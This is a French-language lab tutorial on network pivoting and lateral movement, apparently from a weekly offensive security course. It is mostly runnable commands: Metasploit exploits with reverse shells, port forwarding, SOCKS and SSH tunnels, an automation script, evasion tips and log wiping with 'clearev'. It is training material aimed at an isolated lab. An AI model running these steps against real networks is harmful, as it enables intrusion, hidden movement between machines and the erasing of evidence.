← Accueil

PCTAMALOU

Semaine 20 : Le Chemin Secret – Mouvement Latéral Avancé et Pivoting

Par Platon-Y – pctamalou.fr & e-of-h.fr

🎯 Objectif de la semaine

Maîtriser les techniques de pivoting et tunneling pour naviguer dans les réseaux segmentés. Apprendre à utiliser une machine compromise comme tremplin pour atteindre des systèmes internes non directement accessibles, et construire des chemins d'attaque complexes - comprendre comment une brèche initiale peut mener à la domination complète d'un réseau.

Phase stratégique : Le pivoting est ce qui transforme une intrusion ponctuelle en campagne d'infiltration. C'est l'art de se déplacer dans l'ombre d'un réseau, de rebondir de machine en machine, invisible aux frontières de sécurité.

graph TD A["🌐 Internet Public"] --> B["🛡️ Firewall Périmètre"] B --> C["🎯 Attaquant (Kali)
192.168.56.101"] B --> D["🔓 Pivot Compromis
Metasploitable2
192.168.56.102"] D --> E["🔒 Réseau Interne
192.168.100.0/24"] subgraph "🏢 Infrastructure Interne" F["🏢 DC-01
192.168.100.10
Active Directory"] G["💾 FILESERVER-01
192.168.100.20
Partages"] H["🖥️ WS-01 à WS-50
192.168.100.30-80
Postes de travail"] I["🖨️ PRINTER-01
192.168.100.90
Imprimante réseau"] end E --> F E --> G E --> H E --> I C -->|"① Exploitation directe"| D C -.->|"② Accès direct BLOCKÉ"| E subgraph "🎯 Techniques de Pivoting" J["🎯 Port Forwarding
Redirection port simple"] K["🔄 SOCKS Proxy
Tunnel complet"] L["🛣️ Route MSF
Intégration framework"] M["🔐 SSH Tunneling
Chiffré et furtif"] end D -->|"③"| J D -->|"④"| K D -->|"⑤"| L D -->|"⑥"| M J --> F K --> G L --> H M --> I style C fill:#ef4444,stroke:#000,stroke-width:3px,color:#fff style D fill:#9d4edd,stroke:#fff,stroke-width:3px,color:#fff style E fill:#11151f,stroke:#00d4ff,stroke-width:4px,color:#fff style F fill:#00f5a0,stroke:#000,stroke-width:2px,color:#000 style G fill:#fbbf24,stroke:#000,stroke-width:2px,color:#000 style H fill:#60a5fa,stroke:#1e3a8a,stroke-width:2px,color:#fff style I fill:#d946ef,stroke:#000,stroke-width:2px,color:#fff

📚 Sujet – Théorie (1 heure)

Le pivoting : L'art de la navigation furtive

Le pivoting n'est pas une simple redirection de port. C'est une technique de navigation stratégique dans des environnements réseau segmentés. Dans un réseau d'entreprise moderne, les attaquants externes ne voient que la surface. Le pivoting leur permet de pénétrer les couches internes.

🏗️ Topologie de réseau d'entreprise typique

Zone 1 : Internet → DMZ

Accès : Public limité

Machines : Serveurs web, VPN, proxies

Sécurité : Firewalls périmétriques, WAF, IDS

Objectif attaquant : Obtenir un premier point d'entrée

Zone 2 : Réseau interne

Accès : Depuis DMZ ou VPN

Machines : Serveurs d'applications, bases de données

Sécurité : Segmentation VLAN, firewalls internes

Objectif attaquant : Pivoter depuis la DMZ

Zone 3 : Réseau sensible

Accès : Strictement contrôlé

Machines : Domain controllers, serveurs financiers

Sécurité : Micro-segmentation, Zero Trust

Objectif attaquant : Atteindre les données critiques

Les méthodes de pivoting : choisir le bon outil

🎯 Port Forwarding

Mécanisme : Redirection simple d'un port

Complexité : Faible

Furtivité : Moyenne

Cas d'usage : Accès à un service spécifique

Outils : Meterpreter, ssh -L, netcat

Commande : portfwd add -l 8080 -p 80 -r 192.168.100.10

🔄 SOCKS Proxy

Mécanisme : Tunnel complet pour toutes les apps

Complexité : Moyenne

Furtivité : Bonne

Cas d'usage : Navigation complète via pivot

Outils : Metasploit socks proxy, proxychains

Commande : proxychains nmap -sT 192.168.100.0/24

🔐 SSH Tunneling

Mécanisme : Tunnel chiffré via SSH

Complexité : Moyenne

Furtivité : Excellente (chiffré)

Cas d'usage : Environnements avec SSH autorisé

Outils : OpenSSH, PuTTY

Commande : ssh -L 8080:192.168.100.10:80 user@pivot

🛣️ Route MSF

Mécanisme : Intégration directe dans Metasploit

Complexité : Faible

Furtivité : Faible (détectable)

Cas d'usage : Utilisation intensive de Metasploit

Outils : Metasploit route

Commande : route add 192.168.100.0/24 1

🔍 Anatomie d'un tunnel SOCKS

Flux normal (bloqué) :
Kali (192.168.56.101) → Firewall → ❌ BLOCKÉ → Cible Interne (192.168.100.10)

Flux avec pivoting :
Kali (192.168.56.101) → Pivot (192.168.56.102) → Cible Interne (192.168.100.10)
├── Étape 1: Établir session sur le pivot (Meterpreter/SSH)
├── Étape 2: Configurer le tunnel (port forward/SOCKS)
├── Étape 3: Router le trafic via le tunnel
└── Étape 4: Accéder à la cible interne

Du point de vue de la cible interne :
Le trafic vient du pivot (192.168.56.102), pas de l'attaquant
→ Les règles firewall autorisent cette connexion
→ La cible ne voit pas l'attaquant réel

⚠️ Détection et défense contre le pivoting

Un défenseur attentif peut détecter le pivoting via :

  1. Anomalies réseau : Connexions inhabituelles depuis des machines compromises
  2. Chargement CPU : Augmentation sur les machines pivots
  3. Logs : Services SSH inhabituels, nouvelles connexions
  4. Comportement : Scan depuis des machines qui ne devraient pas scanner
  5. EDR : Détection des outils de pivoting (proxychains, etc.)

La stratégie de mouvement latéral

🎯 Phases d'une campagne de mouvement latéral

  1. Reconnaissance interne : Cartographier le réseau depuis le pivot
  2. Credential harvesting : Collecter les identifiants pour réutilisation
  3. Target selection : Choisir la prochaine cible stratégique
  4. Lateral movement : Se déplacer vers la nouvelle cible
  5. Persistence : Établir un point d'appui sur la nouvelle machine
  6. Répétition : Recommencer jusqu'aux objectifs

🔬 Mission pratique – Laboratoire (2 heures)

🏁 Topologie du lab : Configurez votre lab avec 3 machines :

  1. Kali (Attaquant) : 192.168.56.101 - Accès direct au pivot seulement
  2. Metasploitable2 (Pivot) : 192.168.56.102 - Accès aux deux réseaux
  3. Ubuntu (Cible Interne) : 192.168.56.103 ou nouveau sous-réseau - N'est PAS accessible directement depuis Kali

Étape 1 : Configuration du lab segmenté

# Sur la cible interne (Ubuntu, 192.168.56.103)
# Configurez le firewall pour bloquer Kali mais autoriser le pivot

# Installation et configuration UFW
sudo apt update
sudo apt install ufw -y

# Autorise seulement le pivot (Metasploitable2)
sudo ufw allow from 192.168.56.102
# Bloque explicitement Kali (optionnel, par défaut tout est bloqué)
sudo ufw deny from 192.168.56.101

# Activez le firewall
sudo ufw enable
sudo ufw status verbose

# Installez un service pour tester (SSH par exemple)
sudo apt install openssh-server -y
sudo systemctl start ssh
sudo systemctl enable ssh

# Vérifiez la configuration
# Depuis Kali: ssh 192.168.56.103 → DOIT ÉCHOUER
# Depuis Metasploitable2: ssh 192.168.56.103 → DOIT RÉUSSIR

Étape 2 : Obtention d'une session sur le pivot

# Sur Kali, obtenez un Meterpreter sur Metasploitable2
msfconsole -q

# Utilisez l'exploit UnrealIRCd (comme S17)
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 192.168.56.102
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 4444
exploit

# Vérifiez la session
sysinfo
getuid
# Vous devriez voir: Server username: ircd

# Mettez la session en arrière-plan pour les étapes suivantes
background

Étape 3 : Port Forwarding (Méthode simple)

# Dans msfconsole, avec la session active:

# 1. Liste des sessions
sessions -l
# Notez l'ID de votre session (ex: 1)

# 2. Interagissez avec la session
sessions -i 1

# 3. Configurez le port forwarding
# Redirige le port local 2222 vers le port 22 de la cible interne
portfwd add -l 2222 -p 22 -r 192.168.56.103

# 4. Liste des forwards actifs
portfwd list

# 5. Testez depuis un nouveau terminal Kali
# Dans un nouveau terminal:
ssh msfadmin@127.0.0.1 -p 2222
# Vous devriez maintenant pouvoir vous connecter à la cible interne!
# Mot de passe pour msfadmin: msfadmin

# 6. Exploration depuis la cible interne
whoami
hostname -I
# Vous êtes maintenant sur la cible interne via le pivot!

Étape 4 : SOCKS Proxy avec Proxychains (Méthode complète)

# 1. Configurez le proxy SOCKS dans Metasploit
# Dans msfconsole (session toujours en arrière-plan):
use auxiliary/server/socks_proxy
set VERSION 4a  # SOCKS4a pour meilleure compatibilité
set SRVPORT 1080
run -j  # -j pour exécuter en tant que job

# 2. Configurez proxychains sur Kali
sudo nano /etc/proxychains4.conf
# Ajoutez à la fin (ou modifiez la section [ProxyList]):
# socks4 127.0.0.1 1080

# 3. Testez avec nmap via le proxy
proxychains nmap -sT -Pn 192.168.56.103
# -sT: TCP connect scan (nécessaire via proxy)
# -Pn: Ne pas ping (peut échouer via proxy)

# 4. Testez avec d'autres outils
proxychains curl http://192.168.56.103:80 2>/dev/null
proxychains ssh msfadmin@192.168.56.103

# 5. Utilisation avancée: Scan complet via pivot
proxychains nmap -sT -p- -T4 192.168.56.103
# Note: Beaucoup plus lent que scan direct

Étape 5 : Route MSF (Intégration Metasploit native)

# 1. Ajoutez une route dans Metasploit
# Dans msfconsole:
route add 192.168.56.103/32 1
# 192.168.56.103/32: la cible spécifique
# 1: l'ID de session à utiliser comme pivot

# 2. Vérifiez les routes
route print
# Vous devriez voir: 192.168.56.103/32 -> Session 1

# 3. Utilisez maintenant les modules Metasploit directement
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.56.103
set PORTS 1-1000
run

# 4. Essayez un exploit via la route
# Par exemple, si la cible interne a un service vulnérable:
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.56.103
set RPORT 139
exploit
# Metasploit utilisera automatiquement la session 1 comme pivot

Étape 6 : SSH Tunneling (Alternative plus furtive)

# Prérequis: Avoir des credentials SSH sur le pivot
# Sur Metasploitable2, les credentials par défaut sont:
# Utilisateur: msfadmin, Mot de passe: msfadmin

# 1. Créez un tunnel SSH depuis Kali
ssh -N -L 0.0.0.0:8080:192.168.56.103:80 msfadmin@192.168.56.102
# -N: Ne pas exécuter de commande distante
# -L: Local port forwarding
# Syntaxe: -L [bind_address:]port:host:hostport

# 2. Dans un nouveau terminal, accédez au service
curl http://127.0.0.1:8080
# Vous accédez au port 80 de 192.168.56.103 via le pivot

# 3. Tunnel dynamique (SOCKS via SSH)
ssh -N -D 1080 msfadmin@192.168.56.102
# -D: Dynamic port forwarding (SOCKS proxy)

# 4. Configurez proxychains pour utiliser ce tunnel
# Editez /etc/proxychains4.conf:
# socks4 127.0.0.1 1080

# 5. Testez
proxychains nmap -sT 192.168.56.103

Étape 7 : Script d'automatisation de pivoting

# Créez un script pour automatiser le pivoting
cat > pivot_automation.rc << 'EOF'
# Script d'automatisation de pivoting - PCTAMALOU S20

# 1. Obtention de la session pivot
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 192.168.56.102
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 4444
exploit -j

sleep 5

# 2. Configuration du SOCKS proxy
use auxiliary/server/socks_proxy
set VERSION 4a
set SRVPORT 1080
run -j

sleep 2

# 3. Ajout des routes
sessions -i 1
route add 192.168.56.103/32 1
route print

# 4. Scan via pivot
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.56.103
set PORTS 1-1000
run

# 5. Port forwarding pour accès SSH
portfwd add -l 2222 -p 22 -r 192.168.56.103
portfwd list

echo "[*] Pivot établi!"
echo "[*] SSH via pivot: ssh msfadmin@127.0.0.1 -p 2222"
echo "[*] Proxy SOCKS sur port 1080"
echo "[*] Routes Metasploit configurées"
EOF

# Exécutez le script
msfconsole -r pivot_automation.rc -q

Étape 8 : Découverte et exploitation via pivot

# 1. Découverte des services sur la cible interne
# Via proxychains:
proxychains nmap -sV -sC 192.168.56.103
# Notez les services ouverts

# 2. Si un service vulnérable est trouvé, exploitez-le
# Exemple: Si MySQL est ouvert sur 3306
proxychains mysql -h 192.168.56.103 -u root -p
# Ou utilisez Metasploit avec la route déjà configurée

# 3. Upload d'outils sur le pivot pour attaquer la cible interne
# Dans Meterpreter sur le pivot:
upload /usr/bin/nc /tmp/nc
# Puis depuis le pivot, attaquez la cible interne:
shell
chmod +x /tmp/nc
/tmp/nc -nv 192.168.56.103 80
# Vous avez maintenant un reverse shell depuis le pivot vers la cible

# 4. Pivot en chaîne (double pivot)
# Si vous compromisez la cible interne, utilisez-la comme nouveau pivot
# Depuis la cible interne, scannez d'autres machines:
proxychains ssh msfadmin@192.168.56.103 "nmap -sP 192.168.100.0/24"

Étape 9 : Détection et évasion

# 1. Surveillez le trafic sur le pivot
# Dans un terminal sur le pivot (si vous y avez accès):
sudo tcpdump -i any port 1080 or port 4444 or port 2222
# Vous verrez le trafic de pivoting

# 2. Techniques d'évasion basique
# Utilisez des ports communs (443, 80) pour le pivoting
portfwd add -l 443 -p 22 -r 192.168.56.103
# Plus discret que le port 2222

# 3. Chiffrement
# Préférez SSH tunneling plutôt que SOCKS non chiffré
ssh -N -L 443:192.168.56.103:22 msfadmin@192.168.56.102

# 4. Slow scanning via pivot
proxychains nmap -sT -T2 -max-rate 10 192.168.56.103
# Plus lent, moins détectable

# 5. Nettoyage des logs sur le pivot
# Dans Meterpreter:
clearev
# Efface les logs de la session

Étape 10 : Documentation et analyse

# Créez un rapport de pivoting
cat > pivoting_report.md << 'EOF'
# Rapport de Pivoting - PCTAMALOU S20
## Date: $(date)
## Topologie testée:
- Attaquant (Kali): 192.168.56.101
- Pivot (Metasploitable2): 192.168.56.102
- Cible Interne (Ubuntu): 192.168.56.103

## Méthodes testées et résultats:

### 1. Port Forwarding (Meterpreter)
- Commande: `portfwd add -l 2222 -p 22 -r 192.168.56.103`
- Résultat: SUCCÈS
- Temps d'établissement: < 2 secondes
- Détectabilité: Moyenne (nouveau port local)
- Utilisation: Accès SSH à la cible interne

### 2. SOCKS Proxy (Proxychains)
- Proxy: SOCKS4a sur 127.0.0.1:1080
- Résultat: SUCCÈS
- Limitations: Seulement TCP, plus lent
- Outils testés: nmap, curl, ssh via proxychains
- Détectabilité: Élevée (trafic proxy visible)

### 3. Route MSF
- Commande: `route add 192.168.56.103/32 1`
- Résultat: SUCCÈS
- Avantage: Intégration transparente avec Metasploit
- Modules testés: scanner/portscan/tcp, exploit multi/samba
- Détectabilité: Moyenne-Élevée

### 4. SSH Tunneling
- Commande: `ssh -N -L 443:192.168.56.103:22 msfadmin@192.168.56.102`
- Résultat: SUCCÈS
- Avantage: Chiffré, furtif
- Détectabilité: Faible (ressemble à du trafic SSH normal)

## Temps comparatifs:
- Scan direct (sans pivot): 5 secondes
- Scan via SOCKS proxy: 45 secondes
- Scan via route MSF: 30 secondes
- Établissement tunnel SSH: 3 secondes

## Recommendations défensives:
1. **Monitoring réseau:** Surveiller les connexions inhabituelles depuis des machines compromises
2. **Segmentation:** Isoler les sous-réseaux critiques
3. **Authentification:** MFA pour les accès privilégiés
4. **Détection:** Alertes sur les patterns de pivoting
5. **Hardening:** Désactiver les services inutiles sur les pivots potentiels

## Annexes:
- Commandes exécutées: Voir journal msfconsole
- Captures réseau: pivot_traffic.pcap
- Logs systèmes: /var/log sur pivot et cible
EOF

echo "Rapport généré: pivoting_report.md"

🎯 Défi professionnel : Architecte des ombres

Créez un environnement de test avancé et démontrez une chaîne de pivoting complexe :

  1. Configurez un lab avec 4 machines dans 3 sous-réseaux différents
  2. Implémentez 4 méthodes de pivoting différentes entre chaque saut
  3. Démontrez un mouvement latéral complet : Kali → Pivot1 → Pivot2 → Cible Finale
  4. Mesurez et comparez : vitesse, détectabilité, fiabilité de chaque méthode
  5. Implémentez des contre-mesures de détection sur chaque machine
  6. Créez un guide opérationnel "Pivoting en environnement hostile"

Livrable : Topologie documentée + scripts d'automatisation + guide opérationnel + vidéo de démonstration.

📋 Objectif de la semaine – Validation des compétences

✅ Compétences techniques acquises

  • Configuration et utilisation de 4 méthodes de pivoting différentes
  • Tunnel chiffré via SSH et proxy SOCKS
  • Intégration de routes dans Metasploit
  • Utilisation de proxychains pour outils tiers
  • Détection et évasion basique du pivoting

🧠 Mindset développé

  • Compréhension de la segmentation réseau et de ses faiblesses
  • Vision stratégique : une machine compromise comme tremplin, non comme fin
  • Conscience des compromis vitesse/détectabilité/fonctionnalité
  • Approche méthodique : cartographie → pivot → mouvement → consolidation

🔮 Préparation pour la semaine 21 :

Vous savez maintenant vous déplacer dans un réseau. La semaine prochaine, nous apprendrons à nous cacher durablement. Assurez-vous d'avoir :

  • Expérimenté au moins 2 méthodes de pivoting différentes
  • Compris la différence entre port forwarding et proxy SOCKS
  • Une idée de comment détecter le pivoting en tant que défenseur
  • Votre lab avec plusieurs machines interconnectées

📚 Ressources avancées

⚠️ Considérations opérationnelles avancées

  • Logs : Le pivoting laisse des traces sur toutes les machines intermédiaires
  • Performance : Chaque saut ajoute de la latence et réduit la bande passante
  • Fiabilité : La chaîne est aussi forte que son maillon le plus faible
  • OpSec : Ne jamais utiliser les mêmes techniques/ports sur tous les pivots
  • Plan B : Toujours avoir une méthode alternative de retour

🕵️‍♂️ Frère d'armes,

Cette semaine, vous êtes devenu un navigateur des réseaux cachés. Un architecte de chemins secrets. Un passe-muraille numérique.

Le pivoting n'est pas une technique. C'est une philosophie de mouvement. La compréhension qu'un réseau n'est pas une forteresse monolithique, mais une série de chambres connectées par des portes, certaines visibles, certaines cachées, certaines oubliées.

Vous avez expérimenté les 4 visages du pivoting :

  1. Le portier discret (port forwarding) qui ouvre une porte spécifique
  2. Le passeur universel (SOCKS proxy) qui devient la route elle-même
  3. Le concierge intégré (route MSF) qui modifie la carte du framework
  4. Le messager chiffré (SSH tunneling) qui parle la langue des administrateurs

Chaque méthode a son temps, son lieu, son utilité. Le professionnel les connaît toutes et choisit en fonction du contexte.

Mais souvenez-vous la leçon du labyrinthe : celui qui entre sans fil risque de ne jamais sortir. Chaque pivot est un engagement. Chaque tunnel est une dépendance. Chaque route est une trace.

La semaine 20 marque votre passage de "je peux entrer" à "je peux me déplacer". C'est la différence entre le cambrioleur qui force une porte et l'espion qui traverse les murs.

Maintenant que vous pouvez vous déplacer, la prochaine question est : comment rester ? Comment devenir non pas un visiteur, mais un habitant ? Comment passer de l'ombre qui traverse à l'ombre qui demeure ?

Rangez vos tunnels. Documentez vos chemins. Comprenez vos traces.

La persistance commence bientôt.

— Platon-Y